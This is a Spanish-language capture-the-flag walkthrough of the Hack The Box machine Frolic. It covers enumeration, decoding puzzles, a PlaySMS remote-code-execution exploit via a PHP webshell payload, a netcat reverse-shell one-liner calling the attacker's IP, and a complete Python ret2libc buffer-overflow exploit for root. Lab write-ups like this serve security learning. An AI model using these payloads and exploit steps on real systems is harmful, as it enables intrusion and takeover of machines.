lund@home:~$

Autor: Lund K. S.

HTB_Frolic HTB_Frolic | Hacker-Blog

HTB_Frolic

Frolic {-}

Introduccion {-}

La maquina del dia se llama Frolic.

El replay del live se puede ver aqui

S4vitaar Frolic maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.z

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.111

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.111 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,139,445,1880,9999 10.10.10.111 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Coneccion directa  
139 NetBios    
445 Samba Conneccion con Null session  
1880 http Node.js Fuzzing  
9999 http nginx    

Analyzando el Samba {-}

smbclient -L 10.10.10.111 -N
smbmap -H 10.10.10.111 

Vemos un recurso Printer Driver y IPC pero no tenemos accesso.

Analyzando la web {-}

Checkear la web {-}

Si entramos en la url http://10.10.10.111:1880. Vemos un panel de inicio de session Node-Red. Intentamos login por defectos como admin:admin pero no va. Miramos por internet si existen credenciales por defecto con Node-Red pero por el momento no encontramos nada.

Checkeamos la url http://10.10.10.111:9999 y vemos la pagina por defecto de Nginx. En esta pagina vemos una url http://forlic.htb:1880. Nos parece turbio porque la url es forlic y no frolic, pero ya nos hace pensar que se puede aplicar virtual hosting. Lo añadimos al /etc/hosts y probamos pero no vemos ninguna diferencia.

Aplicando Fuzzing {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.111:9999/FUZZ

Aqui encontramos routas como

  • admin
  • test
  • dev
  • backup

Si vamos a la url http://10.10.10.111:9999/admin vemos un panel de inicio de session que nos dice c’mon i m hackable.

Intentamos nuevamente admin:admin y nos sale un mensaje you have 2 more left attempts, controlamos si esto es general o solo para el usuario admin test:test y vemos que es general.

Vulnerability Assessment {-}

Credenciales en ficheros javascript y lenguaje esoterico {-}

En este caso no tocamos mas porque no queremos ser bloqueados. Si miramos el codigo fuente vemos que hay un fichero login.js que contiene las credenciales.

Entramos las credenciales en la web admin:superduperlooperpassword_lol y conseguimos connectarnos y entramos en una pagina que contiene caracteres raros. Esto en concreto se llama Lenguaje esoterico. Pero primero tenemos que buscar que lenguaje esoterico es en concreto.

Si buscamos en la web por esoteric languages encontramos una lista de 10 lenguajes esotericos en esolangs. Uno de ellos nos llama la atencion porque es bastante parecido. Este seria el Ook!. La diferencia es que cada . ? ! contiene un Ook delante.

Copiamos los caracteres en un fichero data y lo tratamos para que se paresca al Ook!

cat data | sed 's/\./Ook\./g' | sed 's/\?/Ook\?/g' | sed 's/\!/Ook\!/g' | xclip -sel clip

Copiamos el mensaje en la web dcode.fr. Buscamos el code Ook! y colamos el mensaje y decodificando nos da el mensaje Nothing here check **/asdiSIAJJ0QWE9JAS que parece ser una routa.

Si vamos a la url http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS vemos una nueva pagina con un nuevo mensaje que parece se base64.

curl -s -X GET "http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS" 
curl -s -X GET "http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS" | xargs
curl -s -X GET "http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS" | xargs | tr -d ' '
curl -s -X GET "http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS" | xargs | tr -d ' ' | base64
curl -s -X GET "http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS" | xargs | tr -d ' ' | base64 > data

file data
mv data data.zip

Aqui vemos que es un comprimido .zip y si le damos a unzip data.zip vemos que esta protegida por contraseña.

Crackeando con fcrackzip {-}

fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt data.zip

Aqui vemos que la contraseña es password.

Volmemos a descomprimir el fichero poniendole la contraseña y vemos un fichero index.php

cat index.php

vemos que nuevamente esta encryptada con caracteres del a-f y del 0-9 que seria Hexadecimal.

cat index.php | xxd -ps -r

y aqui parece ser nuevamente un base64.

cat index.php | xxd -ps -r > data
cat data | xargs
cat data | xargs | tr -d ' '
cat data | xargs | tr -d ' ' | base64 -d > data
cat data

Estamos nuevame frente a un lenguaje esoterico que parece se un brainfuck. Lo copiamos en la clipboard y lo decodificamos nuevamente en la web. En este caso tiraremos de la web tutorialspoint.

Pegamos el codigo y le damos a Execute y vemos el mensaje idkwhatispass que nos hace pensar en una contraseña. Intentamos ver si es la contraseña del usuario admin del panel de authenticacion Node-Red pero no funcciona.

Continuando analyzando las routas {-}

Si vamos a la url http://10.10.10.111:9999/test vemos un php_info. Lo primero aqui es siempre mirar las disabled_functions. No parece ser desabilitadas las funcciones exec(), shell_exec() o system().

Vamos a la url http://10.10.10.111:9999/dev y vemos un 403 Forbidden. Como esta Forbidden intentamos ver si a routas validas bajo la routa /dev con WFUZZ.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.111:9999/dev/FUZZ

y encontramos otras routas

  • test
  • backup

Si vamos a la url http://10.10.10.111:9999/dev/test nos descarga un fichero. y a la routa http://10.10.10.111:9999/dev/backup hay una nueva routa /playsms.

Miramos lo que hay en la url http://10.10.10.111.9999/playsms y vemos un panel de inicio de session playsms. Miramos si hay vulnerabilidades asociadas con searchsploit.

searchsploit playsms

Y vemos que hay exploits con Template Injection y Remote code execution.

Intentamos loggearnos con admin:admin, no va y intentamos el password que hemos encontrado antes. admin:idkwhatispass y en este caso funcciona.

Explotando PlaySMS {-}

Buscamos un exploit que nos permite hacer RCE.

searchsploit playsms | grep -v -i metasploit | grep -i "remote code execution"
searchsploit -x 42044

Aqui el exploit nos dice que una vez loggeado con cualquier usuario, tenemos que ir a la url http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list, y uploadear un fichero malicioso backdoor.csv

Name,Mobile,Email,Groupe code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22,,

Aqui podemos ver que el exploit usa una cabezera para transmitir el comando que queremos ejecutar con la fuccion php system(). Esto quiere decir que tenemos que uzar burpsuite para cambiar el user agent durante el upload.

Lanzamos Burpsuite y interceptamos el envio del fichero backdoor.csv. Cambiamos el User-Agent con whoami, Forwardeamos la peticion y en la web podemos ver www-data en la columna Name.

Vuln exploit & Gaining Access {-}

Ganando acceso con PlaySMS {-}

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Enviamos nuevamente el csv a la web y interceptamos la peticion con burpsuite
  3. Cambiamos el User-agent

     User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 443 >/tmp/f
    

Ya hemos ganado acceso al systema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Aqui ya miramos si podemos leer la flag

cd /home
find \-name user.txt 2>/dev/null
find \-name user.txt 2>/dev/null | xargs cat

Ya podemos ver la flag.## Privilege Escalation {-}

Rootear la maquina {-}

cd /home/ayush
ls -la

Aqui vemos un directorio turbio donde nosotros como el usuario www-data tenemos derechos

cd ./binary
ls -la

Aqui vemos un fichero rop que tiene derechos suid como el usuario root. y como se llama rop pensamos directamente a un BufferOverflow

./rop

[*] Usage: program <message>


./rop EEEEEE

[*] Message sent: EEEEEE

Aqui vamos a usar python y ver si hay un BOF

./rop $(python -c 'print "A"*500)
Segmentation fault (core dumped)

Como vemos que hay un BOF nos enviamos el binario a nuestra maquina de atacante y tratamos el BOF. Nos lo enviamos con un http.server de python

  1. en la maquina victima

     python3 -m http.server 8080
    
  2. en nuestra maquina de atacante

     wget http://10.10.10.111:8080/rop
     chmod -x rop
    

Tratando el BOF {-}

  1. Lanzamos el binario con gdb-gef

     gdb ./rop
    
     gef> r
     gef> r EEEE
     [*] Message sent: EEEEEE
    
     disass main
    

    Aqui vemos cosas como el SUID y la llamada a la funccion put

  2. Miramos la seguridad del binario

     checksec
    

    Aqui vemos quel NX esta abilitado. Esto quiere decir quel DEP (Data Execution Prevention) esta habilitado, lo que significa que no podemos redirigir el flujo del programa a la pila para ejecutar comandos a nivel de systema.

  3. Lanzamos 500 A

     gef> r $(python -c 'print "A"*500')
    

    Aqui vemos que hemos sobrepassado el $eip que ahora apunta a 0x41414141 que son 4 “A”

  4. Buscamos el offset necessario antes de sobrescribir el $eip

     gef> pattern create 100
     aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
        
     gef> r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
    
     gef> pattern offset $eip
     [+] Found at offset 52 (little-endian search) likely
    

    Aqui vemos que el offset es de 52 caracteres.

  5. Comprobamos poniendole 52 A y 4 B

     gef> r $(pyhton -c 'print "A"*52 + "B"*4')
    

    Y vemos que el $eip vale ahora 0x42424242 que son 4 “B”

Como aqui sabemos que no podemos ejecutar comandos desde la pila porque el NX esta habilitado, la primera cosa que nos pasa por la cabeza seria usar la technica Ret2Libc. Lo que tenemos que ver para efectuar esta tecnica seria ver si hay que burlar el ASLR en caso de que haya aleatorisacion en las direcciones de la memoria.

Esto se controla desde la maquina victima.

  1. miramos si la architectura de la maquina es 32 o 64 bits

     uname -a
    

    vemos que estamos en una maquina con architectura 32 bits

  2. miramos si el ASLR esta habilitado

     cat /proc/sys/kernel/randomize_va_space
    
     #Output
     2
    

    Esta habilitado y lo podemos comprobar dandole multiples vecez al comando ldd rop y vemos que la libreria libc.so.6 cambia de direccion cada vez.

Ahora que tenemos esto en cuenta miramos como atacamos el BOF con un Ret2Libc. La tecnica aqui seria que una vez tomado el control del $eip redirigir el programa a la direccion del

  1. system_addr
  2. exit_addr
  3. bin_sh_addr

ret2libc -> system_addr + exit_addr + bin_sh_addr.

Solo falta conocer las direcciones de estas funcciones. Como la maquina es de architectura 32 bits, podemos intentar colision con las direcciones. De que se trata exactamente; En condiciones normales (donde el ASLR no esta activado), sumariamos los diferentes ofsets de las funcciones system, exit y /bin/sh a la direccion de la libreria libc. Estas direcciones se encuentran de la manera siguiente.

  1. la direccion de libreria libc

     ldd rop
     ldd rop | grep libc
     ldd rop | grep libc | awk 'NF{print $NF}'
     ldd rop | grep libc | awk 'NF{print $NF}' | tr -d '()'
    
     #Output
     0xb771f000
    
  2. los offsets del system_addr y del exit

     readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system@@ | exit@@"
        
     #Output
      141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
     1457: 0003ada0 31 FUNC WEAK   DEFAULT 13 system@@GLIBC_2.0
    

    Aqui el 0003ada0 y el 0002e9d0 son los offset que tendriamos que sumar a la direccion de la libreria libc

  3. el offset de la cadena /bin/sh

     strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
        
     #Output
     15ba0b /bin/sh
    

En este caso las direcciones serian

  • system = 0xb771f000 + 0003ada0
  • exit = 0xb771f000 + 0002e9d0
  • /bin/sh = 0xb771f000 + 15ba0b

Pero como la direccion cambia la tenemos que calcular o conocer antes. La suerte aqui es que como estamos en 32b, las direcciones no cambian demasiado y esto se puede comprobar con bucles.

  1. Verificamos con un bucle de 10 turnos las direcciones cambiantes

     for i in $(seq 1 10); do ldd rop | grep libc | awk 'NF {print $NF}' | tr -d '()'; done
    
  2. Copiamos una de ellas (0xb7568000) y miramos si aparece multiples veces en un bucle de 1000 turnos

     for i in $(seq 1 1000); do ldd rop | grep libc | awk 'NF {print $NF}' | tr -d '()'; done | grep "0xb7568000"
    

Constatamos que aparece multiples vecez. Esto quiere decir que podriamos lanzar el binario o mejor dicho el exploit multiples vecez hasta que esta direccion salga.

Creando el exploit en python {-}

cd /tmp
mkdir privesc
cd $!
touch exploit.py
vi exploit.py

El exploit seria:

#!/usr/bin/python

from struct import pack
from subprocess import call
import sys

offset = 52
junk = "A"*offset

#ret2libc -> system_addr + exit_addr + bin_sh_addr

base_libc = 0xb7568000

#141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
#1457: 0003ada0 31 FUNC WEAK   DEFAULT 13 system@@GLIBC_2.0
#15ba0b /bin/sh

system_addr_offset = 0x0003ada0
exit_addr_offset = 0x0002e9d0
bin_sh_addr_offset = 0x0015ba0b

system_addr = pack("<I", base_libc + system_addr_offset)
exit_addr = pack("<I", base_libc + exit_addr_offset)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_offset)

payload = junk + system_addr + exit_addr + bin_sh_addr

# Lanzamos el bucle infinito hasta que la direccion sea la buena
while True:
    #lanzamos el subprocess y almazenamos el codigo de estado en una variable ret
    ret = call(["/home/ayush/.binary/rop", payload])
    # Si el codigo de estado es exitoso salimos del programa
    if ret == 0:
        print("\n[+] Saliendo del programa...\n")
        sys.exit(0)

lanzamos el script con python exploit.py y esperamos de salir del bucle infinito para ganar la shell como root y leer la flag.